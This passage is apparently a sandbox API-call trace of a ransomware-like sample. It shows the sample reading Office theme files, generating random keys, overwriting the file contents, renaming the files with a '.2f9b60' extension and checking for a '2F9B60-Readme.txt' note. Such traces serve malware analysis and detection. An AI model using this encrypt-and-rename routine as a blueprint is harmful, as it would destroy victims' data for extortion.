lpNewFilePointer=0x0) returned 1 [0187.207] WriteFile (in: hFile=0x1744, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x3ec5fd50, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x3ec5fd50*=0x152, lpOverlapped=0x0) returned 1 [0200.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8667c0 [0200.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b120 [0200.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b120) returned 1 [0200.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b120 [0200.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b0f0 [0200.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b030 [0200.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b030) returned 1 [0200.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0200.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce5be80 [0200.927] sprintf (in: _Dest=0x1ce5be80, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be82, _Format="%c%c" | out: _Dest="16") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be84, _Format="%c%c" | out: _Dest="74") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be86, _Format="%c%c" | out: _Dest="69") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be88, _Format="%c%c" | out: _Dest="99") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be8a, _Format="%c%c" | out: _Dest="33") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be8c, _Format="%c%c" | out: _Dest="4d") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be8e, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be90, _Format="%c%c" | out: _Dest="34") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be92, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be94, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be96, _Format="%c%c" | out: _Dest="ef") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be98, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be9a, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be9c, _Format="%c%c" | out: _Dest="11") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5be9e, _Format="%c%c" | out: _Dest="14") returned 2 [0200.927] sprintf (in: _Dest=0x1ce5bea0, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5bea2, _Format="%c%c" | out: _Dest="ea") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5bea4, _Format="%c%c" | out: _Dest="99") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5bea6, _Format="%c%c" | out: _Dest="89") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5bea8, _Format="%c%c" | out: _Dest="30") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beaa, _Format="%c%c" | out: _Dest="80") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beac, _Format="%c%c" | out: _Dest="3d") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beae, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beb0, _Format="%c%c" | out: _Dest="2b") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beb2, _Format="%c%c" | out: _Dest="02") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beb4, _Format="%c%c" | out: _Dest="73") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beb6, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beb8, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5beba, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5bebc, _Format="%c%c" | out: _Dest="8d") returned 2 [0200.928] sprintf (in: _Dest=0x1ce5bebe, _Format="%c%c" | out: _Dest="23") returned 2 [0200.928] RtlInitAnsiString (in: DestinationString=0x3ec5fdc8, SourceString="c316746999334dad34e1b4efbfad1114f5ea998930803d8f2b0273b97bf48d23" | out: DestinationString="c316746999334dad34e1b4efbfad1114f5ea998930803d8f2b0273b97bf48d23") [0200.928] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ec5fd98, SourceString="c316746999334dad34e1b4efbfad1114f5ea998930803d8f2b0273b97bf48d23", AllocateDestinationString=1 | out: DestinationString="c316746999334dad34e1b4efbfad1114f5ea998930803d8f2b0273b97bf48d23") returned 0x0 [0200.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43106a80 [0200.929] wcscat (in: _Dest=0x43189260, _Source="c316746999334dad" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c316746999334dad") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c316746999334dad" [0200.929] wcscat (in: _Dest=0x43189260, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c316746999334dad.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c316746999334dad.2f9b60" [0200.929] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c316746999334dad.2f9b60", NtPathName=0x3ec5fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\c316746999334dad.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x4314a7e0 [0242.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314a7e0) returned 1 [0242.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432018e0) returned 1 [0242.770] NtQueryInformationFile (in: FileHandle=0x1744, IoStatusBlock=0x3ec5fdd8, FileInformation=0x3ec5fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ec5fdd8, FileInformation=0x3ec5fde8) returned 0x0 [0242.770] NtSetInformationFile (FileHandle=0x1744, IoStatusBlock=0x3ec5fdd8, FileInformation=0x3ec5fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0244.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43189260) returned 1 [0244.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43106a80) returned 1 [0244.506] FlushFileBuffers (hFile=0x1744) Thread: id = 1405 os_tid = 0x1848 [0119.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml")) returned 0x20 [0119.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml", dwFileAttributes=0x20) returned 1 [0119.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17d8 [0119.577] GetFileSizeEx (in: hFile=0x17d8, lpFileSize=0x3ed0f780 | out: lpFileSize=0x3ed0f780*=3609) returned 1 [0119.577] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0xe15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.577] ReadFile (in: hFile=0x17d8, lpBuffer=0x3ed0f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ed0f748, lpOverlapped=0x0 | out: lpBuffer=0x3ed0f700*, lpNumberOfBytesRead=0x3ed0f748*=0x4, lpOverlapped=0x0) returned 1 [0119.621] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c90 [0119.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c60 [0119.622] NtQuerySystemTime (in: CurrentTime=0x3ed0f640 | out: CurrentTime=0x3ed0f640*=132462177250414000) returned 0x0 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x32d2e200 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x32a80940 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x7e23a6ca [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x4e8d44ad [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x71e0261e [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x49d48488 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x98c13cf [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x6b27d1bd [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x2f482fd5 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x13b4d829 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x6b614657 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x10f78394 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x7b47ed67 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x14f4c951 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x7becf507 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x2b00e7c1 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x79523166 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x5a5b7d8e [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x864576b [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x5c814bd3 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x6acaefb6 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x353df0a5 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x6e8d2d1d [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x3ba06e7d [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x7733406a [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x3af2f780 [0119.622] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x637700b8 [0119.623] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x5613cc39 [0119.623] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x347f5980 [0119.623] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x10f74698 [0119.623] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x455f42ff [0119.623] RtlRandomEx (in: Seed=0x3ed0f630 | out: Seed=0x3ed0f630) returned 0x2bd31f00 [0119.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ae0 [0119.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0119.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b10 [0119.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0119.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c60) returned 1 [0119.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0119.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0119.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20171d40 [0119.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201500b0 [0119.632] ReadFile (in: hFile=0x17d8, lpBuffer=0x20171d40, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x3ed0f630, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x3ed0f630*=0xe19, lpOverlapped=0x0) returned 1 [0119.632] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.632] WriteFile (in: hFile=0x17d8, lpBuffer=0x201500b0*, nNumberOfBytesToWrite=0xe19, lpNumberOfBytesWritten=0x3ed0f634, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesWritten=0x3ed0f634*=0xe19, lpOverlapped=0x0) returned 1 [0122.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0122.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d900 [0122.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d900) returned 1 [0122.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0122.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0122.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0122.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0122.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x2050d900 [0122.388] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.388] WriteFile (in: hFile=0x17d8, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3ed0f750, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x3ed0f750*=0x10c, lpOverlapped=0x0) returned 1 [0122.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0122.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503a10 [0122.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050edd0 [0122.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050edd0) returned 1 [0122.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x2050edd0 [0122.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee30 [0122.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eec0 [0122.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eec0) returned 1 [0122.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a10) returned 1 [0122.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0122.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cda06f0 [0122.793] sprintf (in: _Dest=0x1cda06f0, _Format="%c%c" | out: _Dest="33") returned 2 [0122.793] sprintf (in: _Dest=0x1cda06f2, _Format="%c%c" | out: _Dest="73") returned 2 [0122.793] sprintf (in: _Dest=0x1cda06f4, _Format="%c%c" | out: _Dest="16") returned 2 [0122.793] sprintf (in: _Dest=0x1cda06f6, _Format="%c%c" | out: _Dest="ef") returned 2 [0122.793] sprintf (in: _Dest=0x1cda06f8, _Format="%c%c" | out: _Dest="da") returned 2 [0122.793] sprintf (in: _Dest=0x1cda06fa, _Format="%c%c" | out: _Dest="d5") returned 2 [0122.793] sprintf (in: _Dest=0x1cda06fc, _Format="%c%c" | out: _Dest="c0") returned 2 [0122.793] sprintf (in: _Dest=0x1cda06fe, _Format="%c%c" | out: _Dest="5e") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0700, _Format="%c%c" | out: _Dest="f9") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0702, _Format="%c%c" | out: _Dest="8c") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0704, _Format="%c%c" | out: _Dest="34") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0706, _Format="%c%c" | out: _Dest="5c") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0708, _Format="%c%c" | out: _Dest="01") returned 2 [0122.793] sprintf (in: _Dest=0x1cda070a, _Format="%c%c" | out: _Dest="14") returned 2 [0122.793] sprintf (in: _Dest=0x1cda070c, _Format="%c%c" | out: _Dest="5c") returned 2 [0122.793] sprintf (in: _Dest=0x1cda070e, _Format="%c%c" | out: _Dest="d0") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0710, _Format="%c%c" | out: _Dest="6c") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0712, _Format="%c%c" | out: _Dest="dd") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0714, _Format="%c%c" | out: _Dest="aa") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0716, _Format="%c%c" | out: _Dest="7d") returned 2 [0122.793] sprintf (in: _Dest=0x1cda0718, _Format="%c%c" | out: _Dest="72") returned 2 [0122.793] sprintf (in: _Dest=0x1cda071a, _Format="%c%c" | out: _Dest="3a") returned 2 [0122.793] sprintf (in: _Dest=0x1cda071c, _Format="%c%c" | out: _Dest="b8") returned 2 [0122.794] sprintf (in: _Dest=0x1cda071e, _Format="%c%c" | out: _Dest="59") returned 2 [0122.794] sprintf (in: _Dest=0x1cda0720, _Format="%c%c" | out: _Dest="f7") returned 2 [0122.794] sprintf (in: _Dest=0x1cda0722, _Format="%c%c" | out: _Dest="6c") returned 2 [0122.794] RtlInitAnsiString (in: DestinationString=0x3ed0f7c8, SourceString="337316efdad5c05ef98c345c01145cd06cddaa7d723ab859f76c" | out: DestinationString="337316efdad5c05ef98c345c01145cd06cddaa7d723ab859f76c") [0122.794] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ed0f798, SourceString="337316efdad5c05ef98c345c01145cd06cddaa7d723ab859f76c", AllocateDestinationString=1 | out: DestinationString="337316efdad5c05ef98c345c01145cd06cddaa7d723ab859f76c") returned 0x0 [0122.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504110 [0122.794] wcscat (in: _Dest=0x1073c0, _Source="337316efdad5c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\337316efdad5c") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\337316efdad5c" [0122.794] wcscat (in: _Dest=0x1073c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\337316efdad5c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\337316efdad5c.2f9b60" [0122.794] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\337316efdad5c.2f9b60", NtPathName=0x3ed0f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\337316efdad5c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776690 [0123.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0123.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293bc0) returned 1 [0123.503] NtQueryInformationFile (in: FileHandle=0x17d8, IoStatusBlock=0x3ed0f7d8, FileInformation=0x3ed0f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ed0f7d8, FileInformation=0x3ed0f7e8) returned 0x0 [0123.503] NtSetInformationFile (FileHandle=0x17d8, IoStatusBlock=0x3ed0f7d8, FileInformation=0x3ed0f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1073c0) returned 1 [0123.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504110) returned 1 [0123.597] FlushFileBuffers (hFile=0x17d8) returned 1 [0124.106] CloseHandle (hObject=0x17d8) returned 1 [0124.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd656b0 [0124.111] wcscpy (in: _Dest=0x1cd656b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0124.111] wcscat (in: _Dest=0x1cd656b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0124.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0124.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd656b0) returned 1 [0124.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10bb0) returned 1 Thread: id = 1406 os_tid = 0x184c [0119.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml")) returned 0x20 [0119.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml", dwFileAttributes=0x20) returned 1 [0119.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e4 [0119.585] GetFileSizeEx (in: hFile=0x15e4, lpFileSize=0x3ef3fbc0 | out: lpFileSize=0x3ef3fbc0*=3626) returned 1 [0119.585] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0xe26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.585] ReadFile (in: hFile=0x15e4, lpBuffer=0x3ef3fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ef3fb88, lpOverlapped=0x0 | out: lpBuffer=0x3ef3fb40*, lpNumberOfBytesRead=0x3ef3fb88*=0x4, lpOverlapped=0x0) returned 1 [0119.695] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0119.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0119.696] NtQuerySystemTime (in: CurrentTime=0x3ef3fa80 | out: CurrentTime=0x3ef3fa80*=132462177251038000) returned 0x0 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x12aeba80 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x31fca640 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x702f593c [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x79523166 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x2ab1080f [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x63e39f98 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x4e8d44ad [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x163a132c [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x4212930f [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x5ab1a8ac [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x2aa056c9 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x33d3f680 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x62521b5d [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x53472f1e [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x384705f6 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x7b1e44ca [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x2fb6e2c1 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x60b51987 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x7ed35b11 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x60b51987 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x3f066b70 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x33443438 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x31fca640 [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0xb2d207f [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x5e1be83c [0119.696] RtlRandomEx (in: Seed=0x3ef3fa70 | out: Seed=0x3ef3fa70) returned 0x710e7cf9 